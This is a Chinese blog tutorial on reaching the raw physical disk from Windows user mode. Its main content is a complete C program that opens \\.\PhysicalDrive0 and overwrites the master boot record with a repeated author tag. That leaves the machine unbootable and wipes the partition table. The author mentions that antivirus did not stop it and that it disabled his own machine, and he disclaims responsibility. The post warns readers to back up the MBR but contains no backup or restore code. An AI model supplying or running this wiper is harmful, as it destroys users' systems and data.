C/C++用户模式下改写硬盘主引导记录(MBR)

CPU一共有四种权限级别:ring0 ring1 ring2 ring3

Windows只是用了ring0和ring3

我们在使用电脑时,一般在ring3模式下工作。在ring3模式下,我们无法使用CPU特权指令inout。对系统所属的数据,地址空间以及硬件也是有严格的限制的。

但是这对于操作系统来说是一件好事,可对于一些应用程序来说,就很无语了。

要想在ring3下完成这个任务,只能通过内核程序来进行使用。在Windows系统中,内核程序不受任何的限制,可以随意存取系统所属的数据,操作系统地址空间等。所以,开发内核程序必须要有严格的测试!

不过呢,想要在ring3级别下访问硬盘,也是很简单的!

那是因为:

Windows 操作系统为了自己编程方便,编写了在用户模式下调用的硬盘内核模式驱动程序,该程序在系统启动时候自动装载。我们只要掌握这个 Windows 内核模式的驱动程序,就可以直接在用户模式下直接无阻碍访问硬盘了。

不过想要掌握这个内核程序,也是很简单。因为:

硬盘内核驱动程序将硬盘作为一个文件,文件名为:"\\.\\physicaldrive0"

这样,我们就可以通过这个文件名,使用 CreateFile, ReadFile, WriteFile 和 DeviceIoControl 这几个API来进行访问硬盘。


题外话:我在测试的时候发现了一个大问题。就是我用这个程序在改写MBR的时候,我的360安全卫士竟然没提示,也没拦截!!!然后。。。。。额 就没有然后了(因为虚拟机跑不起来 所以我在真实机器上测试。幸亏备份MBR了)。。。。。

下面的代码,请谨慎使用。使用前请先备份MBR。以防数据丢失。

如果出现事故,与本人无关!

#include <windows.h>

int main(void)
{
	//硬盘文件名
	LPCSTR DiskFileName="\\\\.\\PhysicalDrive0";
	//主引导记录
	char code[]=
		"By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> "
		"By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 ->By:紫玫冰心 ->  "
		"By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> "
		"By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 ->By:紫玫冰心 ->  ";
	BYTE MBR[512];
	DWORD s=NULL,t=NULL;
	/* 文件句柄 */
	HANDLE handle=NULL;
	//构造MBR
	memcpy(MBR,code,sizeof(code)-1);
	//打开硬盘
	handle=CreateFileA(
		DiskFileName,
		GENERIC_READ|GENERIC_WRITE,
		FILE_SHARE_READ|FILE_SHARE_WRITE,
		0,
		OPEN_EXISTING,
		0,
		0);
	if(handle==INVALID_HANDLE_VALUE)
	{
		//打开文件失败
		MessageBoxA(NULL,(LPCSTR)"Can't Create File!",(LPCSTR)"error",MB_OK);
		return 0;
	}else{
		//写入新的MBR
		WriteFile(handle,MBR,sizeof(MBR),&t,NULL);
		DeviceIoControl(handle,FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&s,NULL);
		CloseHandle(handle);//关闭文件
		MessageBoxA(NULL,(LPCSTR)"successful",(LPCSTR)"ok",MB_OK);
		return 0;
	}
	return 0;
}


评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值